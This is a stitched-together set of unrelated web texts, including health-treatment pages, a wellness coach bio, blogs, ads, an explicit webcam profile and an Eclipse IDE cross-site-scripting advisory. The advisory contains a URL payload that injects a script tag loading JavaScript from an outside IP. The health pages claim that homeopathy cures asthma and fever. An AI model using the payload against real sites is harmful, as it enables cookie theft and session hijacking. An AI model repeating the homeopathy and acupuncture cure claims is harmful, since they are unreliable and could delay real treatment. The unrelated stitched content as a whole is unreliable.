Homeopathy can provide significant relief to patients suffering from male sexual dysfunction. It can help to improve the nerve functions over a period of time. Homeopathic treatment can also help in tackling systemic causes of sexual dysfunction such as obesity, diabetes, high blood pressure, hormonal problems, etc. Some of the homeopathic medicines for erectile dysfunction ED are:
Nux V
Acupuncture & Acupressure Treatment of Erectile Dysfunction
Acupuncture can provide a safe natural alternative to helping men with erectile dysfunction. Acupuncture points on the extremities, abdomen and back are used to successfully relieve this problem. Results are quick and highly successful.
Psychotherapy and Hypnotherapy Treatment of Erectile Dysfunction
Psychotherapy and Hypnotherapy can help men let go of their worry about the erection and learn to relax and enjoy the sexual and sensual experience. It reduces anxiety around sex, relationships or intimacy. Psychotherapy can be beneficial for an individual, but couples therapy sessions are also helpful. Couples therapy can also include learning to talk about sex in ways that help them let down their defenses and openly discuss their needs, wants, and desires. Hypnotherapy can resolve deep subconscious psychological issues and help in regaining strong erection. Sex therapy is very helpful in managing a healthy and successful sex life.
Conventional / Allopathic Treatment of Erectile Dysfunction
In the allopathic treatment of erectile dysfunction, oral medications such as Sildenafil (Viagra), Tadalafil (Cialis) and Vardenafil (Levitra, Staxyn) may be prescribed by the doctor. These drugs enhance the effects of nitric oxide which increases blood flow and allows you to get an erection in response to sexual stimulation.
Surgical Treatment of Erectile Dysfunction
Surgery to treat erectile dysfunction may be recommended to achieve the following goals:
Implanting a prosthetic device within the penis, which causes an erection
Reconstructing the arteries within the penis to increase blood flow, which helps to facilitate an erection
Blocking off veins within the penis that allow blood to leave the penis, which helps to maintain an erection
Dietary & Herbal Treatment of Erectile Dysfunction
Eat diet that is rich in antioxidants such as fruits and vegetables, whole grains, legumes, and nuts
Eat foods that contain folic acid, vitamin C, and vitamin E
What is Erectile Dysfunction?
Erectile dysfunction (impotence) occurs when a man can no longer get or keep an erection firm enough for sexual intercourse. Some people have trouble speaking with their doctors about sex. But if you have ED, you should tell your doctor. ED can be a sign of health problems.
Symptoms of Erectile Dysfunction
Reduced sexual desire
Failure to achieve an erection
Trouble keeping an erection
Causes of Erectile Dysfunction
Heart disease
Clogged blood vessels (atherosclerosis)
High blood pressure and High cholesterol
Depression and anxiety
Parkinson's disease
Multiple sclerosis
Low testosterone
Peyronie's disease, development of scar tissue inside the penis
Certain prescription medications
Alcohol and Tobacco use
Treatments for prostate cancer or enlarged prostate
Surgeries or injuries that affect the pelvic area or spinal cord
Risk factors of Erectile Dysfunction
Diabetes or heart problems
Stress, anxiety or depression
Prolonged bicycling
Being overweight
Tobacco use
Complications of Erectile Dysfunction
An unsatisfactory sex life
Stress or anxiety
Marital discord
Low self-esteem
Relationship problems
No sexual relationships
The inability to get your partner pregnant
Diagnosis of Erectile Dysfunction
Diagnosis of erectile dysfunction involves the following tests and procedures:
Physical exam
Blood tests
Urine tests
Overnight erection test
Psychological exam
Precautions & Prevention of Erectile Dysfunction
Do not smoke
Reduce stress
Avoid alcohol
Get help for anxiety or depression
Manage diabetes and heart disease
Treatment of Exercise-induced asthma
Homeopathic Treatment of Exercise-induced asthma
Acupuncture & Acupressure Treatment of Exercise-induced asthma
Psychotherapy Treatment of Exercise-induced asthma
Conventional / Allopathic Treatment of Exercise-induced asthma
Surgical Treatment of Exercise-induced asthma
Dietary & Herbal Treatment of Exercise-induced asthma
Other Treatment of Exercise-induced asthma
What is Exercise-induced asthma
Symptoms of Exercise-induced asthma
Causes of Exercise-induced asthma
Risk factors of Exercise-induced asthma
Complications of Exercise-induced asthma
Lab Investigations and Diagnosis of Exercise-induced asthma
Precautions & Prevention of Exercise-induced asthma
Treatment of Exercise-induced asthma
Homeopathic Treatment of Exercise Induced Asthma
Homeopathy improves exercise capacity and respiratory function. It gives relief from cough, difficult breathing and tightness of chest. Homeopathy has capacity to cure asthma. It treats the person as a whole. Treatment is constitutional. It means that homeopathic treatment focuses on the patient as a person, as well as his pathological condition. It balances the energy system, improves immunity and body functions. It naturally cures the root cause of disorder. Some of the homeopathic medicines for exercise induced asthma are:
Ferr I
Acupuncture and Acupressure Treatment for Exercise Induced Asthma
Acupuncture promotes free energy flow. It improves respiratory capacity and relieves respiratory difficulty, cough and other complaints.
Psychotherapy and Hypnotherapy Treatment of Exercise Induced Asthma
Psychotherapy and hypnotherapy can resolve underlying psychological issues. They can help in reducing stress and other negative emotions. Hypnotherapy gives quick response in improving body capacity.
Conventional / Allopathic Treatment of Exercise-induced asthma
Allopathic Treatment of Exercise-induced asthma involves the following medications:
Short-acting beta agonists
Inhaled corticosteroids
Leukotriene modifiers
Long-acting beta agonists (LABAs)
Combination inhalers
Allergy medications
Immunotherapy injections
Dietary & Herbal Treatment of Exercise-induced asthma
Try to limit salt intake
Eat plenty of fruits and vegetables
Eat Omega-3 fatty acids which is found in fish like salmon, and omega-3 fortified foods like bread and eggs
What is Exercise-induced asthma?
When asthma attacks happens during or after exercise, it is known as exercise-induced asthma or exercise-induced bronchospasm.
Symptoms of Exercise-induced asthma
Coughing and wheezing
Tightness of chest
Shortness of breath
Fatigue during exercise
Poor athletic performance
Causes of Exercise-induced asthma
It isn't clear exactly what causes exercise-induced asthma
Risk factors of Exercise-induced asthma
Being a child
Exposure to air pollution or pollen
Hay fever or other allergies
Parent or sibling, with asthma
Chemicals, such as chlorine in swimming pools
Participating in sports that make you breathe harder and faster
Smoking or exposure to secondhand smoke
Complications of Exercise-induced asthma
Poor athletic performance
Permanent narrowing of the airways
hospitalizations for severe asthma attacks
Diagnosis of Exercise-induced asthma
Diagnosis of Exercise-induced asthma involves the following tests:
Physical exam
Lung function test (spirometry)
Exercise challenge
Peak flow measurement
Methacholine (Provocholine) challenge
Allergy skin tests
Precautions & Prevention of Exercise-induced asthma
Do your best to avoid colds and other respiratory infections
Keep your mouth and nose covered during exercise in cold weather.
Warm up for about 10 minutes before strenuous exercise
Avoid allergens when exercising
Treatment of Fever
Homeopathic Treatment of Fever
Acupuncture & Acupressure Treatment of Fever
Psychotherapy Treatment of Fever
Conventional / Allopathic Treatment of Fever
Surgical Treatment of Fever
Dietary & Herbal Treatment of Fever
Other Treatment of Fever
What is Fever
Symptoms of Fever
Causes of Fever
Risk factors of Fever
Complications of Fever
Lab Investigations and Diagnosis of Fever
Precautions & Prevention of Fever
Treatment of Fever
Homeopathic Treatment of Fever
Homeopathic remedies can cure fever, speed recovery and will aid the body's natural process of healing itself. It helps to reduce the burning of skin and eyes. Some of the homeopathic remedies for fever are:
Nux vomica
Rhus tox
Acupuncture & Acupressure Treatment of Fever
In the acupuncture treatment of fever, the body is able to improve because of the restoration of qi, the flow of energy through your body. Both acupuncture and acupressure strengthen the immune system and helps to regulate the body's immune response.
Conventional / Allopathic Treatment of Fever
Allopathic treatment of fever uses over-the-counter medication, such as Acetaminophen or ibuprofen. Aspirin is prescribed only for adults. If fever is the result of bacterial infection, such as pneumonia or strep throat, then antibiotics are prescribed. Viral infections are treated with antiviral drugs.
Dietary & Herbal Treatment of Fever
Take High fluid diet like juices, glucose water, soups etc.
Avoid fatty foods and spicy foods
Eat protein diet like milk, eggs & dhal
What is Fever?
A fever is a rise in internal body temperature to levels that are considered to be above normal. For an adult, a fever may be uncomfortable, but fever usually isn't dangerous unless it reaches 103 F (39.4 C) or higher.
Symptoms of Fever
Sweating and Shivering
Headache and Muscle aches
Loss of appetite
General weakness
Causes of Fever
A virus
A bacterial infection
Heat exhaustion
Extreme sunburn
Medicines such as antibiotics, narcotics, barbiturates, and antihistamines
A malignant tumor
Trauma or injury such as a heart attack, stroke, heatstroke, heat exhaustion, or burns
Some immunizations, such as the diphtheria, tetanus and acellular pertussis (DTaP) or pneumococcal vaccines
Complications of Fever
Severe dehydration
Brain damage
Fever-induced seizure (febrile seizure), in children ages 6 months to 5 years
Diagnosis of Fever
Your doctor will diagnose the fever by doing physical exam and by asking question about your medical history. He look for an infection or noninfectious cause of your fever based on your other symptoms and a physical exam. Blood tests are needed to confirm a diagnosis.
Precautions & Prevention of Fever
Reduce your exposure to infectious diseases
Wash your hands before eating, after using the toilet and after petting animals
Cover your mouths when coughing and noses when sneezing
Treatment of Enlarged Prostate
Homeopathic Treatment of Enlarged Prostate
Acupuncture Treatment of Enlarged Prostate
Conventional / Allopathic Treatment of Enlarged Prostate
Surgical Treatment of Enlarged Prostate
Dietary & Herbal Treatment of Enlarged Prostate
Other Treatment of Enlarged Prostate
What is Enlarged Prostate
Symptoms of Enlarged Prostate
Causes of Enlarged Prostate
Risk factors of Enlarged Prostate
Complications of Enlarged Prostate
Lab Investigations and Diagnosis of Enlarged Prostate
Precautions & Prevention of Enlarged Prostate
Treatment of Enlarged Prostate
Homeopathic Treatment of Enlarged Prostate
Homeopathic medicines for enlarged prostate helps to reduce prostate, painful micturation, repeated urination and bloody urine caused by prostate gland enlargement. Following are some homeopathic remedies which are very effective for enlarged prostate.
Sabal serrulata
Hepar sulphuris calcareum
Conium maculatum
Acupuncture and Acupressure Treatment of Enlarged Prostate
Acupuncture treatments are very effective for Enlarged Prostate. The main aim of acupuncture treatment is to balance the disharmony, open the acupuncture channels, reduce inflammation, stop pain & bleeding, shrink prostate and smooth urination.
Conventional / Allopathic Treatment of Enlarged Prostate
Conventional drug treatments include Finasteride and dutasteride that block a natural hormone that makes the prostate enlarge. Alpha-blockers can also help the symptoms of Enlarged Prostate, even in men with normal blood pressure. Some allopathic drugs are terazosin, doxazosin tamsulosin and alfuzosin.
Surgical Treatment of Enlarged Prostate
Surgery usually relieves the obstruction and incomplete emptying caused by Enlarged Prostate. Following are the types of surgery that are used.
Transurethral surgery
Open surgery
Laser surgery
Dietary & Herbal Treatment of Enlarged Prostate
Avoid to eat spicy foods or drinking carbonated beverages
Reduce to eat Red meat
Eat foods containing more zinc such walnuts, pumpkin, seeds, safflower seeds and oysters.
Other Treatment of Enlarged Prostate
Yoga is really helpful to the enlarged prostate. It also helps tone the deep pelvic muscles there by promoting circulation.
What is Enlarged Prostate?
Enlarged Prostate is a natural condition where the prostate gland slowly grows, causing pressure on the urethra. It is also called as BPH (Benign Prostatic Hyperplasia)
Symptoms of Enlarged Prostate
A feeling of incomplete bladder emptying
Difficulty starting urination
Dribbling' after urinating
Frequent urination
Burning with urination
Urgency to urinate
A discharge from the penis
Getting up frequently at night to urinate
Straining to urinate
Continued dribbling of urine
Returning to urinate again minutes after finishing
Causes of Enlarged Prostate
Hormone imbalance
Cell-growth factor
Zinc deficiency
Decreased testosterone level
Risk factors of Enlarged Prostate
Marital status
Complications of Enlarged Prostate
Kidney failure
Bladder stones
Bladder cancer
Diagnosis of Enlarged Prostate
Physicians to diagnose an enlarged prostate include:
Digital rectal exam.
Urine and blood tests
Urine flow exam
Precautions & Prevention of Enlarged Prostate
Urinate when you first get the urge
Avoid alcohol and caffeine, especially after dinner.
Don't drink a lot of liquid all at once
Keep warm and exercise regularly
Do not take cold and sinus medications
Reduce stress


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I know first hand what my clients are going through when it comes to the overwhelm and stress in the journey of raising a healthy family. I went from being a over-stressed, always worried, busy, not so healthy and tired "mom" who was always facing a new health challenge or crisis in our family constantly - to being a empowered and confident mother that helped my family find simple, safe/natural solutions, practices and tools that keep us well and happy all year long. I practice what I preach and believe my realistic and simplified approach to health makes my clients that much more successful.
Hello friend!
Welcome to the Love thy Health Community. My name is Alicia Stephens, I am the Founder of Love thy Health Co., a Certified Holistic Health Practitioner, Health Coach + Consultant, doTERRA Diamond Business leader, wife and mother of 3.
I am passionate about creating a online space and community where women of all backgrounds, ages and stages of life can come and learn about their natural options when it comes to taking care of themselves and their families as well.
You can also connect with me on Facebook -
Love thy Health Company
, Instagram - Love thy Health Company or you can always email me anytime at
Sick and tired of being sick and tired....
My story starts like this....
I was your average working mother who did "all the right things". I followed the books, the advice, the crazy fads, you name it to not ever feel quite right in my own body. I was tired, overworked, underslept, a bit overweight, had terrible digestive problems and skin issues - I could keep going but will stop here. The problem was, I just "accepted" that this was a part of aging, life and how it was supposed to be because I was doing everything "right".
As my children began to grow and experienced various health concerns as they matured, little alarm bells started to go off in inside my mind.
My 5 year was on over 4 medications a day for things like allergies and asthma, etc. and I started to wonder, is all of this really necessary and safe?! But I was told that it was and so I went on....
It wasn't until a pretty intense side effect a few years later that hit my child and world very hard that I knew deep down in my bones that something had to change. I could not allow this to continue any longer as my children's wellbeing and overall qualify of life was being challenged hard.
I started to ask myself...
What if everything we had been told about how to stay well, wasn't really the answer for long term health? Why was'nt anyone talking to me about the root cause of these health issues vs. only getting the quick solution? What if there was simply something missing from this type of health care?
What if our bodies were actually intended to feel good and look good no matter what age or stage of life we are in by God's natural creation?
"Be the change you wish to see in the world." - Gandhi
After much research, consultations with other doctors and care providers, we made some changes in our home. We began to focus on what we put in, on and around our body. Trust me when I say, this DID NOT all happen overnight (and we are by no means perfect to this day in this area). This was about removing the culprits, repairing the damage and restoring the body in balance.
The changes we saw in just a few weeks time were nothing short of incredible. In fact, I remember my daughter saying to me that she didn't feel like her head was in the "clouds" so much (she often complained of foggy thinking) and I remember my stomach not being bloated or hurting as often as it used to.
We no longer felt lethargic constantly, my skin got clearer, sleep improved, emotional eating stopped and well, we could tell something was definitely changing for the better.
And so this is what started my journey. My family feeling better before in ways we simply did not know about before. We simply could not do better or feel better, because we didn't know better.
And now we know and are inspired to share this information with the world.
When we shift our perception, our experience changes.
After many years in corporate America and discovering some amazing yet simple and safe ways to care for my family, I was fueled with passion to make a difference in this world, one family at a time.
I became a
Certified Holistic Health Practitioner
through training at the Institute of Integrative Nutrition in 2013. I am also certified as a Drugless Practitioner of Health through the AADP. This has allowed me to coach, share and educate women and families who aspire to live a bette quality of life with safe, natural and effective solutions.
I work specifically with women who are looking to improve the overall health and wellbeing of themselves and/or their family with a focus on:
Women's Health
Family Health
Natural Weight Loss
Autoimmune Health
Additionally, I coach and mentor women who are looking to become a entrepreunuer and leader in the natural health & wellness industry to create flexibility and residual income in their lives through helping others.
What are you seeking?
Schedule Your Consult Today
10 Day Detox
Essential Oils
Business Team
Become a Health Coach
30 Day Program


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Your Digital Marketing Partner
Enabling the Freedom to Focus on your Business
As a team, we love to provide solutions, rather than just services. We help to achieve your online marketing strategies for a better ROI, enabling you to focus on what matters most - the real business.
Digitrio has been formed by a team of experienced marketers looking to provide real SEO solutions to clients. Are you frustrated by the abundance of guaranteed-ranking SEO companies that promise ranking (with obscure key phrases) which doesn't translate into site traffic? If so, we are the right company for you.
We aim to fill in that gap by providing SEO that focuses on traffic growth, which in turn translates into business opportunities for our clients.
We have since expanded our offerings from SEO to SEM, Display and Facebook Advertising using the same approach and mentality; helping our clients' digital marketing to be relevant for now and beyond.
We achieve these by first understanding the true aim and purpose of our clients' business objectives, and what they are looking to accomplish. From there, we help to set, track and measure the campaign success by constantly applying strategies that are relevant for now and beyond.
Our Vision
To be the best and most trustworthy digital marketing solution provider in the world.
Our Mission
To be the partner of choice for marketing in the digital realm, thus enabling our clients with the freedom to focus on what matters most: their real business.
Our Values
We strive to listen to, understand, and partner with our customers to find the best solutions for their business success. We clearly communicate mutual intentions and expectations and deliver innovative and competitive products and services, which makes it easy to work with us as a vendor of choice.
We are professional and honest in our relationships. We strive for fairness, equality and respect in treatment of one another, as well as in our decision making. We hold ourselves accountable to the highest ethical and performance standard.
We believe team spirit is one of the critical factors for the success of our business. We depend on each and every individual's contribution for the success of our business as well as those of our customers.
Team spirit includes listening, open communication, focusing on common objectives rather than differences, transparency, respect for others, diversity, and alignment to company's objectives, particularly in difficult times.
We actively seek engagement and partnership with stakeholders internally and externally to optimize positive impact in the areas of our focus. This is to ensure that we are able to successfully leverage on core activities and partnerships for the joint benefit of people in the company and the industry we operate in, and of our shareholders.
We believe appreciation is not a concept. Appreciation is a way of thinking and feeling that must be expressed in action. Valuing our people as well as our product/s or service/s is something that must be demonstrated physically.
We believe clear and effective communication is always a two-way process. It's not enough to speak clearly; you have to make sure you're being heard and understood.
We strive to achieve the highest standards of excellence, do the right things, continuously learn, develop, and improve, and take pride in whatever we do.


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|It's doesn't really go with this skirt, but just put my top on with it to take some photos when I got home from work!
|I need to press the collar a bit better!
|It's doesn't really go with this skirt, but just put my top on with it to take some photos when I got home from work!
|I need to press the collar a bit better!
Lynne this is gorgeous! I loved Wednesday Addams as well - I used to love watching the 60s Addams Family when I was younger. I'm looking forward to seeing how you get on with your Peony dress :)ReplyDelete
Thank you! I'm am currently faffing on the internet to avoid the Peony!Delete
Wow, I love it! You should quit your job and become a dressmaker :)ReplyDelete
Lol!! Thank you! I wish I could, but I think it would suck all the fun out of sewing in about 10 minutes! ;)Delete
Love it! Love the contrast and prettily shaped collar. I love your Wimbledon-coloured granny squares too! RosReplyDelete
Thank you! I've managed to do a few more squares this week too.Delete
This is fabulous Lynne! You're so prolific in your making at the moment and I love all the tweaks you're adding to your makes xReplyDelete
I'm another Addams family fan! I love your top and the pattern alteration to the sleeve seems to have worked like a charm!ReplyDelete
Another great project Lynne! Do you use your model for fitting knits too?ReplyDelete
Thank you! I don't use my dressform for fitting at all, because I've found it so difficult to adjust to my size. I'm not sure if that's just because of my shape though. So, really, it's not that much use!Delete
Looks wonderful Lynne. I'm also a huge fan of the Addams. I remember the old B&W series. They did a cartoon version tooReplyDelete
I love these alterations - just genius and it looks amazing. Kinda quirky but totally wearable. Love!ReplyDelete
This is adorable, and your alterations really work. Is the bottom scalloped? I can see this looking really funky with a yellow skirt. If you wear it with a black skirt, don't forget the coloured accessories, you don't want to be mistaken as the help!ReplyDelete
Thank you! The bottom is scalloped, and I completely forgot to mention it! I didn't realise until I got the fabric home, but thought it would make a nice edging. So I totally winged with the cutting out, and it worked a treat!Delete
Love it! You've done a beautiful job, and it fits and flatters you beautifullyReplyDelete
What a classy top! There's something so satisfying about a black shirt with white collar and cuffs, why is that? And the eyelet details make it really interesting :)ReplyDelete
Thank you for reading my blog! I love reading your comments, so please feel free to leave a comment if you have the time :) Lynne.


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To Grace
re: lunch
Please do not, however much you want to, eat a foot-long sub for lunch. You do not need that much sub. You know this, as after the first half you started feeling sick. And contrary to what your mind thinks, you will not be satisfied with 'not eating again until dinner' in exchange for said sub. In fact, what were you just trying to convince yourself that you could have? A strawberry milkshake. And as you were typing out this email what were you still trying to convince yourself you could have? A strawberry milkshake.
A 6-inch sub will suffice.
From Grace
Sunday, May 23, 2010
letters to myself
Labels: letters to myself
1 comment:
- Sorella said...
That is actually what it is like for me everytime I have a Sub. I wolf it down too quickly and then feel guilty :S. They are damn yummuliscious though!
- May 24, 2010 at 12:10 PM
Subscribe to: Post Comments (Atom)


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source: http://www.securityfocus.com/bid/45921/info Eclipse IDE is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. Eclipse IDE 3.3.2 is vulnerable; other versions may also be affected. http://www.example.com/help/advanced/workingSetManager.jsp?operation=add&workingSet='%3E%3Cscript%20src%3D'http%3A%2F%2F18.104.22.168%2Fa.js'%3E%3C%2Fscript%3E &hrefs=%2Fcom.adobe.flexbuilder.help.api%2Ftoc.xml&oldName=
Related ExploitsTrying to match CVEs (1): CVE-2008-7271
Trying to match OSVDBs (1): 70479
Other Possible E-DB Search Terms: Eclipse 3.3.2 IDE, Eclipse


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Dickinson College Residence Hall Carlisle, PA
On a site that faces the main thoroughfare of Carlisle, Pennsylvania, we designed this new residence hall at Dickinson College to present a formal front to the street and a more casual face to a lawn (and future quadrangle) to the south. Stone facades on the public side match the stone of the historic Dickinson campus across the street.
When it is complete the Residence Hall will provide housing for 125 students.
40,500 square feet
Expected completion date – 2018
Key People
Maitland Jones
Rhoda Kennedy, Project Lead
Collaborating Firms
Deborah Berke Partners – Architect and Interior Designer
Andropogon – Landscape Architect
Kohler Ronan – MEP Engineer
Steven Winter Associates – LEED/Environmental Consultant
PHT Lighting – Lighting Consultant
The project is targeted to be LEED Platinum.


text:
With John DeLancey
Our annual tradition continues, reviewing some of the most interesting excavations planned for 2017. This year's list includes Kiriath Jearim and Tel Shimron, new excavations, as well as Tel Lachish, Tel es-Safi/Gath, Tel Shiloh, and Bethsaida.
tags: Kiriath Jearim Tel Shimron Tel Lachish Tel es-Safi/Gath Tel Shiloh Bethsaida.
Lachish Gate Shrine & New IAA Archaeology Campus
With Clyde Billington
A second look at some of the top archaeology stories from the Autumn 2016 issue of ARTIFAX magazine with co-editor Clyde Billington. On this program we discuss the recently renewed excavations at Lachish and the discovery of a gate shrine which appears to have been permanently desecrated by the installation of a toilet. We also discuss the Israel Antiquities Authority's new archaeology campus in Jerusalem, as well as the reopening of the restored Mamertine Prison in Rome, where Peter and Paul may have been held.
tags: Lachish Gate Shrine Israel Antiquities Authority Mamertine Rome
With Todd Bolen
More looks ahead to the planned institutional excavations of 2016, what's happening in biblical archaeology, and what has been happened in the past couple years. A number of excavations have started just in the last few years so there will continue to be a lot of work to do. And you never know what's going to turn up.


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Gracemature's Bio and Free Webcam
- Real Name:
- GraceMature
- Followers:
- 4773
- Birth Date:
- Aug. 8, 1976
- Age:
- 42
- Sex:
- Female
- Interested In:
- Men, Women
- Location:
- Latvia
- Last Broadcast:
- 9 months ago
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- English
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- Pics & Videos:
120 TOKENS OR FAN CLUBSexy Lady100 TOKENS OR FAN CLUBChic150 TOKENS OR FAN CLUBKnow about your s...
- About Me:
Ive been often told that men can see sex in my eyes, that I have a beautiful body and that I am a insatiable lover but, well, you never believe it unless you can see it with your own eyes, dont you? ;) So, if you want to have a sense of what a woman at the peak of her sexuality is like you are in the right room. You can expect from me sincerity, attentivenes to mans desires, authentic passion and opennes in sex - which is, I think, is so natural for a woman of my age.
We can discuss specific turns-on individually but I go for everything that leads us both to experience REAL and intensive emotions. I am easy to turn on - by fingers, tongues and, of course, dick. I have the multiple orgasm which means I can have several smaller orgasms during a sexual act before I reach a bigger, explosive and overwhelming one. I feel like my sensuality have almost no boundaries and maybe you will surprise me? ;)


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When words match actions consistently over time, trust is established. Since 1961, ATCO Rubber Products has established trust by keeping its promises and delivering at a high level of excellence time and again for customers around the world. Today, wherever flex duct is sold — for quality, for service — ATCO is the recognized leader.
**Contractors, check out the new ADC training program**
Check out our Greenguard Press Release
ATCO is now using EcoTouch Insulation


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Shoe of the Week: The Charlotte Olympia Pinup SandalCATEGORIES:Designer Shoes
Tags: Charlotte Olympia Pinup Sandal
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Shoe of the Week: Charlotte Olympia's Not-So-Basic Black PumpCATEGORIES:Designer Shoes
Shoes: Charlotte Olympia Monroe Unzipped Print-Heel Pump
Why It's the Shoe of the Week: You may be surprised to find that these are Charlotte Olympia pumps, but they're indeed a Charlotte Dellal creation. This black pump gets edgy with its zipper detailing and printed heel; if you thought you couldn't turn to Charlotte Olympia for a basic black pump, you may want to think again.
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The Best Shoe Deals for the Weekend of September 12thCATEGORIES:Other Brands
We always strive to lead you in the right direction when it comes to best shoe deals, and this week's selection of discounts is sure to delight. We found a great pair of boots from Fendi, a very literal pair of fall boots from Charlotte Olympia and a comfortable pair of colorblocked loafers from Pierre Hardy. We don't want to give everything away, so check out the gallery below for more great shoe finds!
If you're in the mood for even more shopping, check out our Deals Page for more deals and steals happening on the Internet.
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Kate Spade Mines Asian Imagery for Its Fall 2014 AccessoriesCATEGORIES:Other Brands
It seems as though, with every passing season, extremely literal accessories become more and more popular among luxury customers. If you've got Charlotte Olympia tastes on a contemporary budget (or if you just don't want to shell out huge bucks for a piece that's more novelty than wardrobe-staple), you'll want to check out the Kate Spade Hello Tokyo line, new for Fall 2014, which finds its inspiration exactly where you'd expect.
As always, the lines between aesthetic homage, cultural appropriation and offensive stereotyping are incredibly thin; although the geishas-and-sushi stuff seems more than a little on the nose to me, the totally adorable cat minaudiere, for example, manages to be totally adorable without resorting to the lowest-hanging fruit of Japanese cultural imagery. Check out some pieces from the collection below and let us know what you think in the comments.


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In this edition of The Roland Martin Show, Stephanie Brown James sits in for Roland Martin. During todays' show James talks with Co-Founder of Higher Heights...
Roland Martin sat down with Frankie Beverly, the front-man of one of the most prolific bands in modern music history for an hour-long interview. During their chat, Beverly talked...
NewsOne Now Audio Podcast: Smiley, Simmons Pushback Against Sexual Misconduct Allegations, Grassroots Initiative Demands Congress Address The Affordable Housing Crisis + WTH?! Trump Judicial Nominee Struggles Mightily Answering Basic Legal Questions
Black Excellence: School Choice All-Stars Audio Podcast
NewsOne Now Audio Podcast: PBS Suspends Tavis Smiley's Talk Show After Sex Misconduct Investigation, GOP's Unpopular Tax Bill Faces New Uncertainty, Relieved Republicans Celebrate Doug Jones'
NewsOne Now Audio Podcast: Massive Black Voter Turnout Helps Doug Jones Win Alabama's Senate Race
"We have an incoming American president who loves to talk about make America great again and put America first, yet he does not put America first when it comes...
Roland Martin Show Audio Podcast: #LiveLifeLoveIt — What You Put Off Until Tomorrow May Never Come To Pass
Roland Martin Show Audio Podcast: Trump Has Not Drained The Swamp & #WeTriedToTellYou
Roland Martin Show Audio Podcast: Should President Obama Bear Some Responsibility For The Outcome Of Election Day?
Roland Martin Show Audio Podcast: The Power Of 'Silver Rights'
Copyright © 2016 NuVision Media, Inc.


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Liverpool. Liverpool? I needed to get out of Germany (sometimes it happens) and having been to London several times before, Liverpool seemed perfect. Anyone who knows me knows I'm a huge Beatles fan. Christian had to go to Munich for a few days for work, so going by myself seemed ideal; I wouldn't have to drag anyone only vaguely interested around with me doing Beatles-related stuff. Plus, I had been to London so many times before, but I had never seen any other parts of England. Lastly, I just wanted some time by myself (again, sometimes it happens).
I spent a little less than 72 hours in the city on the River Mersey, but I did everything I could, whether or not it related to the Beatles. I really loved Albert Dock; it's so beautiful and just cool. It doesn't exude an air of poshness (for crying out loud, it was a dock used for industry), but somehow it's very elegant, tranquil, and charming. The restaurants there are surprisingly very affordable, the Tate Liverpool is free, as are the other museums. And I just absolutely adore the red brick stone with the black paneled windows. It would be really fantastic to live there, though I can only wonder how much apartments there cost. The Liverpool Cathedral is the fifth largest in the world (depending on the criteria, because it could actually be the largest and one of the longest) and when you enter it, it's really breathtaking how huge it is. I thought it was far more impressive than the Cologne Cathedral and it's much brighter, too.
Slightly north of Albert Dock are the Three Graces at the Pier Head (the Royal Liver Building, Cunard Building, and Port of Liverpool Building). They're also really very impressive and make for a gorgeous skyline, albeit completely different than the towering skylines of New York and Hong Kong. And that's the thing: Liverpool isn't a big city, but it's incredibly pleasant, laid back, and has a lot of personality. It's a mix of old (Three Graces, Albert Dock, Liverpool Cathedral, little English houses) with the super modern (Liverpool ONE, Chavasse Park, new developments) and the people are really super friendly, though if you come across someone with a really thick Scouse accent, it's a bit harder to understand. I certainly heard some people that reminded me of Brad Pitt's character in Lock, Stock, & Two Smoking Barrels. However, when I've been alone in London, people seemed to pity me or think it was weird. Not so in Liverpool. Nobody seemed to think twice of it, though they were first surprised. Maybe it's because they get so many crazy Beatles fans coming by themselves, ha.
On Wednesday, I took a Fab Four Taxi Tour thinking that because I was by myself, they'd probably stick me with a group of two or three other people. Nope. I got a private tour all by myself! My tour guide, Alan, picked me up at my hotel at exactly the time I had requested and we drove all over the city. He was extraordinarily knowledgeable and informative and not just about Beatles things. We talked about how the city was a European City of Culture last year, how it changed a lot of things (real estate prices, for example), what the city is really like. We went everywhere: John, Paul, George, and Ringo's childhood homes, Brian Epstein's apartment where he let John & Cynthia stay after they married, Penny Lane, Strawberry Field, the place where John & Paul met for the first time...It was really a pilgrimage of sorts for any Beatles fan and it really gives you a new perspective.
After the tour, I did the Beatles Story Museum, which long story short, is not worth it if you're a hardcore fan. Nothing new was presented. Afterward, I went to the Cavern Club. The original Cavern Club was torn down years ago, but a few doors down is another Cavern Club that recreates the original. Admittedly, it was a bit strange to go alone and have a beer by myself since it was the first time I've ever been to a bar without anyone, but I chatted to a guy old enough to be my dad who worked for the Conservation Society (or something along those lines...preserving buildings in Liverpool). He was also alone, but seemed to have had a bit much to drink. But the anonymity of talking to a complete stranger and leaving it at that is one of the thrills of traveling alone...these acquaintances you make for about an hour or two and leave it at that.
However, being in the Cavern Club, or a reproduction of the original, was really exciting. I could just imagine how sweaty, stuffy, smoky, and loud it must've been. Sitting in the corner, I could imagine the Beatles on stage as the Quarry Men with a gaggle of girls in front of them, screaming their support and encouragement. Today, there's no smoking allowed (as in all English bars) and the place is filled with mostly picture-taking tourists eager, like me, to experience what it must've been like. Instead of the Beatles (or Quarry Men) on stage, there was a John Lennon impersonator dressed with the "New York City" shirt and "granny glasses" singing Beatles and Lennon songs acoustically. He did a pretty good job and looked the part, except for the fact that he had a beer gut and was a little heavier than John ever was (at least based on pictures I've seen, even in comparison to his "fat Elvis phase" during the filming of Help!.) Nonetheless, I really enjoyed the atmosphere and being with oodles of other Beatles fans belting out tunes and drinking beer.
The only thing I hated about Liverpool was the fashion. I'm not sure if this is just in Liverpool or if it's taking over England, but dear God, the 80s are back in full force. I saw sequined dresses with big shoulders, neon colors like nowhere else, animal prints in non-animal print colors (for example, green zebra stripes, dark blue leopard print), blazers with a horrible cut, girls wearing their hair big and with bows in them (I kid you not), horrible colored make-up that is very heavy, big t-shirts being worn with only leggings with stirrups. I went shopping thinking I could find some interesting clothing, and interesting is a word you could use to describe the fashion, but I would describe it more as "vomit-inducing." I really hate 80s fashion. I really hate animal prints (especially leopard print). I really hate neon. And so, sorry, Liverpool, but I hate the fashion at the moment. Terrible.
However, I know I'll be back in Liverpool someday. It's such a lovely city and the people are so open. Plus, I still need to go to the Casbah Coffee Club and see where John, George, and Pete Best decorated it and played there as the Quarry Men (Paul included of course). However, for the non-Beatles fans, Liverpool is a much more affordable city than London and has a lot to offer in terms of shopping, eating, and site-seeing. Well, the shopping options are there, but the fashion is something else entirely. Hopefully that'll change. Otherwise, it was a well-needed break from Germany.
And here are a few other pictures that I though were relevant for the trip or that I liked, though you can see them all on my Flickr set: